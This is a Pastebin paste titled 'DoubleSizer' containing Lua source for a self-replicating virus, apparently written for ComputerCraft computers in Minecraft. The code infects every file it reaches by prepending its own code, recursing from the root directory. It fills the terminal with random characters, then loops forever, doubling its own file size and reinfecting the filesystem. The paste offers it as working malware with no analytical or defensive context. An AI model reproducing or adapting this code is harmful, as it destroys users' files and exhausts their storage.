asteroidsteam

DoubleSizer

Jul 29th, 2018
124
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 1.22 KB | None | 0 0
  1. function infect(file)
  2.   local virusfile = fs.open(shell.getRunningProgram(), "r")
  3.   local viruscode = virusfile.readAll()
  4.   local inFile = fs.open(file, "r")
  5.   local fileCode = inFile.readAll()
  6.   inFile.close()
  7.   virusfile.close()
  8.   local infectFile = fs.open(file,"w")
  9.   infectFile.writeLine(viruscode)
  10.   infectFile.writeLine(fileCode)
  11.   infectFile.close()
  12. end
  13. function infectDir(directory)
  14.   shell.setDir(directory)
  15.   local files = fs.list(directory)
  16.   for i=1,#files do
  17.     if fs.isDir(files[i]) then
  18.       if files[i] == "rom" then
  19.       else
  20.         infectDir(shell.dir().."/"..files[i])
  21.       end
  22.     else
  23.       infect(shell.dir().."/"..files[i])
  24.     end
  25.   end
  26.   shell.setDir("")
  27. end
  28. function payload()
  29.   local w,h = term.getSize()
  30.   local payLoadCharacters = {0, 1, "|", "-", "+"}
  31.   for i=1,50000 do
  32.     term.setCursorPos(math.random(1, w), math.random(1, h))
  33.     local index = math.random(1, table.getn(payLoadCharacters))
  34.     write(payLoadCharacters[index])
  35.   end
  36. end
  37. payload()
  38. while true do
  39.   infectDir("/")
  40.   ds = fs.open(shell.getRunningProgram(), "r")
  41.   dsC = ds.readAll()
  42.   ds.close()
  43.   Ds = fs.open(shell.getRunningProgram(), "a")
  44.   Ds.writeLine(dsC)
  45.   Ds.close()
  46.   infectDir("/")
  47. end
Add Comment
Please, Sign In to add comment